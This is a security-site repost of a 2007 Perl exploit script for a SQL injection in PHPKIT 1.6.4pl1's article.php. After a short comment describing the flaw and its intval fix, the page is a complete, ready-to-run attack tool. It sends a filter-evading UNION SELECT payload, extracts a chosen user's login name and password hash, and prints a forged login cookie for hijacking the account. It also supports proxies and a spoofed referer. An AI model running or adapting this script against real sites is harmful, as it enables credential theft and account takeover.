首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHPKIT 1.6.4pl1 article.php Remote SQL Injection Exploit
来源:shadowleet@safe-mail.net 作者:$h4d0wl33t 发布时间:2007-11-23  
#!/usr/bin/perl
#  Vulnerability found & exploit written by $h4d0wl33t (shadowleet)
#  Contact: shadowleet@safe-mail.net
#   Phpkit 1.6.4pl1 Non Public Exploit by $hadowleet,
#   Description:
#   Vulnerability in file pkinc/public/article.php
#   On line 71:
#
#   $contentid=(!$contentid && isset($_REQUEST['contentid'])
#   && intval($_REQUEST['contentid'])>0) ? $_REQUEST['contentid'] : $contentid;
#
#   $contentid gets initialized normal but not going through safe function $sql->f in sql statement
#
#   Use in sql statement:
#   $contentinfo=$DB->fetch_array($DB->query
#   ("SELECT * FROM ".$db_tab['content']." where content_id='".$contentid."' LIMIT 1"))
#
#   Security fix:
#   Replace:
#   && intval($_REQUEST['contentid'])>0) ? $_REQUEST['contentid'] : $contentid;
#   with :
#   && intval($_REQUEST['contentid'])>0) ? intval($_REQUEST['contentid']) : $contentid;
#
#   Conditions:
#   1. Magic_quotes needs to be off
#   2. There must be any articles in the database.
#   Have fun :)
#_________________________________________________
use LWP;
use HTTP::Request;
use Getopt::Long;

sub header
{
print "\n";
print "                 ###################################################\n";
print "                 #Phpkit 1.6.4pl1 Non Public Exploit by \$hadowleet #\n";
print "                 #              + Hackblock 2007 bypass            #\n";
print "                 ###################################################\n";
print "\n";
}
sub usage
{
  print "-------------------------------------------------------------------------------------\n";
  print "|   Usage:                                                                          |\n";
  print "|   exploit.pl                                                                      |\n";
  print "|  -url    [URL] (http://phpkit.de                                                  |\n";
  print "|  -uid    [userid] (1)                                                             |\n";
  print "|  -pre    [databaseprefix] (phpkit)                                                |\n";
  print "|  -p      [proxy]  (http://proxyip:port)                                           |\n";
  print "|                                                                                   |\n";              
  print "|   Example:                                                                        |\n";
  print "|   exploit.pl -url http://phpkit.de/ -cat 2 -uid 1 -pre phpkit                     |\n";
  print "|                                                                                   |\n";
  print "|   Or for standard Values:                                                         |\n";
  print "|   exploit.pl -url http://phpkit.de/                                               |\n";
  print "|                                                                                   |\n";
  print "|   You need a valid category id, you can get it when you open the link             |\n";
  print "|   http://page.de/include.php?path=contentarchive&type=1                           |\n";
  print "|   and click on one article, then read in the url the catid number and use it      |\n";
  print "|   Standard value for catid is 2                                                   |\n";
  print "-------------------------------------------------------------------------------------\n";
}                                                                                

my %parameter = ();
GetOptions(\%parameter, "url=s", "uid=i", "pre=s", "p=s", "cat=i");
$url = $parameter{"url"};
$uid = $parameter{"uid"};
$cat = $parameter{"cat"};
$prefix = $parameter{"pre"};
$proxy =  $parameter{"p"};
if(!$url)
{
header();
usage();
exit;
}
if($url !~ /\//){$url = $url."/";}
if($url !~ /http:\/\//){$url = "http://".$url;}
if($proxy)
{
if($proxy !~ /http:\/\//){die ("Proxy format must be: \"http://ip:port\"\n");}
}
if(!$cat){$cat = 2;}
if(!$uid){$uid = 1;}
if(!$prefix){$prefix = "phpkit";}
$bugfile = "include.php?path=article";
$sqlinjection = "9999999999'/**/UnIoN/**/SeLeCt/**/1,".$cat.",3,CoNcAt('Login:',user_name),5,CoNcAt('Password:',user_pw),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/FrOm/**/".$prefix."_user/**/WhErE/**/user_id=".$uid."/*--";
$poststring = "contentid=".$sqlinjection;
$imgcode = 0;

sub Exploit()
{
$requestpage = $url.$bugfile;
print "Requesting Page: ".$requestpage."\n";
my $req  = HTTP::Request->new("POST",$requestpage);
$ua = LWP::UserAgent->new;
if($proxy){$ua->proxy( 'http', $proxy );}
$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
#$req->referer($url);
$req->referer("http://www.deinemudda.de");
$req->content_type('application/x-www-form-urlencoded');
$contlen = length($poststring);
$req->header("content-length" => $contlen);
$req->content($poststring);
$response = $ua->request($req);
$content = $response->content;
$header = $response->headers_as_string();
#Debug Modus delete # at beginning of next line
#print $content;
@name = split(/Login:/,$content);
$name = @name[1];
@name = split(/<\/a>/,$name);
$name = @name[0];
@password = split(/Password:/,$content);
$password = @password[1];
@password = split(/<\/font>/,$password);
$password = @password[0];
if(!$name && !$password)
{
print "\n\n";
print "!Exploit failed, ~Magic quotes on~ or article id doesn't exists, just read usage!\n\n";
exit;
}
print "Data:\n";
print "-----------------------------------------------------\n";
print "Name: " .$name."\n";
print "Password: " .$password."\n\n";
print "Logincookie->:\nuser_id%3E".$uid."%2Cuser_name%3E".$name."%2Cuser_pw%3E".$password."\n\n";
print "-----------------------------------------------------\n";
print "Enjoy the day :)\n";
}
#Starting
print "\n\nExploiting...\n";
Exploit();
#End
#Copyright by $h4d0wl33t 2007

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VigileCMS <= 1.8 Stealth Remot
·Apple Quicktime 7.2/7.3 (RSTP
·Sciurus Hosting Panel Remote C
·PBLang <= 4.99.17.q Remote Fil
·IceBB 1.0-rc6 Remote Database
·Apple QuickTime 7.3 RTSP Respo
·Apple Mac OS X 10.4.x Kernel i
·RunCMS <= 1.6 disclaimer.php R
·迅雷5又(这次怎么多了一个又字
·Softbiz Freelancers Script v.1
·Microsoft Internet Explorer TI
·MySQL <= 5.0.45 (Alter) Denial
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved